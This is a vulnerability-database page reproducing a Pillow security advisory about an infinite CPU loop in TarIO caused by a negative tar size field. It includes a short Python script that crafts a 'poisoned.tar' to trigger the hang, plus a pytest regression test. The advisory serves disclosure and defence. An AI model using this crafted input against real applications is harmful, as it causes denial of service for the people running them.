GHSA-3J72-P6QG-6XP7

Vulnerability from github – Published: 2026-10-22 16:01 – Updated: 2026-10-22 16:01
VLAI
Summary
Pillow: TarIO negative size field causes infinite CPU-spin loop
Details

Summary

TarIO.__init__ does not check that a tar header's size field is positive. A crafted header with a negative size makes it seek backward onto itself. This causes an infinite loop that uses 100% CPU and never returns.

Details

TarIO.__init__ reads 512-byte tar headers one at a time, looking for a member with a given name. For each header it reads the size field and skips ahead to the next header:

size = int(s[124:135], 8)
...
self.fh.seek((size + 511) & (~511), io.SEEK_CUR)

There is no check that size is zero or more. A tar header can set this field to a negative octal value. For size = -512, the seek offset comes out to exactly -512, which cancels the 512 bytes the loop had just read. The file position goes right back to where this loop step started.

The loop only stops on end of file or when a header name starts with a null byte. Neither happens, since the same header keeps showing up again. The loop never ends on its own.

Steps to reproduce

This uses Tests/images/hopper.tar, a normal file already in the Pillow test suite. It only changes the size field of the first header.

from PIL import TarIO

with open("Tests/images/hopper.tar", "rb") as f:
    data = bytearray(f.read())

# Set the size field (bytes 124 to 135) to a negative octal value.
# Octal 1000 is 512, so this is size = -512.
data[124:135] = b"  -00001000"

with open("poisoned.tar", "wb") as f:
    f.write(data)

# "does-not-exist" does not match the header name, so TarIO must
# keep scanning. This call never returns.
TarIO.TarIO("poisoned.tar", "does-not-exist")

We confirmed this with ps. The process sits at 98 to 100% CPU and never exits on its own. It only stops if killed from outside.

A pytest version of this, using pytest-timeout so the test does not hang forever, is below. On the current code it fails with Failed: Timeout (>3.0s) from pytest-timeout.

from __future__ import annotations

from pathlib import Path

import pytest

from PIL import TarIO

SOURCE_TAR = "Tests/images/hopper.tar"


@pytest.mark.timeout(3)
def test_negative_size_field_does_not_hang(tmp_path: Path) -> None:
    with open(SOURCE_TAR, "rb") as f:
        data = bytearray(f.read())

    data[124:135] = b"  -00001000"  # octal 1000 = decimal 512, negated

    poisoned_tar = tmp_path / "poisoned.tar"
    poisoned_tar.write_bytes(data)

    with pytest.raises((OSError, ValueError)):
        with TarIO.TarIO(str(poisoned_tar), "does-not-exist"):
            pass

Impact

  • Availability: an attacker who can get a crafted tar file passed to TarIO.TarIO() can hang the process at full CPU with a file just over 512 bytes.
  • Confidentiality: none.
  • Integrity: none.
  • TarIO is a small helper class. It is not used by Image.open() and is not on the default path most Pillow users hit. An app has to call PIL.TarIO.TarIO(path, member_name) directly for this to matter, which some apps do to read an image out of a tar archive.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "Pillow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "13.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-96642"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-22T16:01:46Z",
    "nvd_published_at": "2026-10-21T21:20:32Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n`TarIO.__init__` does not check that a tar header\u0027s size field is positive. A crafted header with a negative size makes it seek backward onto itself. This causes an infinite loop that uses 100% CPU and never returns.\n\n### Details\n`TarIO.__init__` reads 512-byte tar headers one at a time, looking for a member with a given name. For each header it reads the size field and skips ahead to the next header:\n\n```python\nsize = int(s[124:135], 8)\n...\nself.fh.seek((size + 511) \u0026 (~511), io.SEEK_CUR)\n```\nThere is no check that size is zero or more. A tar header can set this field to a negative octal value. For size = -512, the seek offset comes out to exactly -512, which cancels the 512 bytes the loop had just read. The file position goes right back to where this loop step started.\n\nThe loop only stops on end of file or when a header name starts with a null byte. Neither happens, since the same header keeps showing up again. The loop never ends on its own.\n\n### Steps to reproduce\n\nThis uses Tests/images/hopper.tar, a normal file already in the Pillow test suite. It only changes the size field of the first header.\n\n```python\nfrom PIL import TarIO\n\nwith open(\"Tests/images/hopper.tar\", \"rb\") as f:\n    data = bytearray(f.read())\n\n# Set the size field (bytes 124 to 135) to a negative octal value.\n# Octal 1000 is 512, so this is size = -512.\ndata[124:135] = b\"  -00001000\"\n\nwith open(\"poisoned.tar\", \"wb\") as f:\n    f.write(data)\n\n# \"does-not-exist\" does not match the header name, so TarIO must\n# keep scanning. This call never returns.\nTarIO.TarIO(\"poisoned.tar\", \"does-not-exist\")\n```\n\nWe confirmed this with ps. The process sits at 98 to 100% CPU and never exits on its own. It only stops if killed from outside.\n\nA pytest version of this, using pytest-timeout so the test does not hang forever, is below. On the current code it fails with Failed: Timeout (\u003e3.0s) from pytest-timeout.\n\n```python\nfrom __future__ import annotations\n\nfrom pathlib import Path\n\nimport pytest\n\nfrom PIL import TarIO\n\nSOURCE_TAR = \"Tests/images/hopper.tar\"\n\n\n@pytest.mark.timeout(3)\ndef test_negative_size_field_does_not_hang(tmp_path: Path) -\u003e None:\n    with open(SOURCE_TAR, \"rb\") as f:\n        data = bytearray(f.read())\n\n    data[124:135] = b\"  -00001000\"  # octal 1000 = decimal 512, negated\n\n    poisoned_tar = tmp_path / \"poisoned.tar\"\n    poisoned_tar.write_bytes(data)\n\n    with pytest.raises((OSError, ValueError)):\n        with TarIO.TarIO(str(poisoned_tar), \"does-not-exist\"):\n            pass\n```\n### Impact\n\n- Availability: an attacker who can get a crafted tar file passed to TarIO.TarIO() can hang the process at full CPU with a file just over 512 bytes.\n- Confidentiality: none.\n- Integrity: none.\n- TarIO is a small helper class. It is not used by Image.open() and is not on the default path most Pillow users hit. An app has to call PIL.TarIO.TarIO(path, member_name) directly for this to matter, which some apps do to read an image out of a tar archive.",
  "id": "GHSA-3j72-p6qg-6xp7",
  "modified": "2026-10-22T16:01:47Z",
  "published": "2026-10-22T16:01:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-3j72-p6qg-6xp7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-96642"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/pull/10012"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/commit/19b695fdcc5eddc37374e2b1645fc4185edaf71d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/python-pillow/Pillow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Pillow: TarIO negative size field causes infinite CPU-spin loop"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.